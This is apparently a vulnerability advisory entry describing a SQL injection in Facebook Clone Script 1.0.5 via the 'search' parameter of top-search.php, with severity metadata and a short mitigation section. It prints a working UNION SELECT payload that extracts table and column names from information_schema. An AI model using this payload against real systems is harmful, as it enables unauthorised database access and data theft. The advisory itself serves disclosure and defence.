vendor:
Facebook Clone
by:
L0RD
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Facebook Clone
Affected Version From: 1.0.5
Affected Version To: 1.0.5
Patch Exists: NO
Related CWE: N/A
CPE: a:phpscriptsmall:facebook_clone:1.0.5
Metasploit:
N/A
Other Scripts:
N/A
Platforms Tested: Win 10
2018
Facebook Clone Script 1.0.5 – ‘search’ SQL Injection
A SQL injection vulnerability exists in Facebook Clone Script 1.0.5, which allows an attacker to execute arbitrary SQL commands via the 'search' parameter in a POST request to top-search.php. The payload '1' UNION SELECT NULL,group_concat(table_name,0x3C62723E,column_name),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from information_schema.columns where table_schema=schema()#' can be used to extract information from the database.
Mitigation:
Input validation should be used to prevent SQL injection attacks. Additionally, the application should be configured to use parameterized queries.